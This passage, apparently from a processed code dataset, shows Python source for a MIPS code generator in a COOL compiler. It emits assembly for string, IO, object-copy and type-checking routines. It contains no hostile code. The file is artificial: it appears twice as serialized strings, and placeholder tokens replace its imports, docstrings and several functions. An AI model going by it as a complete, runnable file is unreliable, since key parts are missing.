0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n 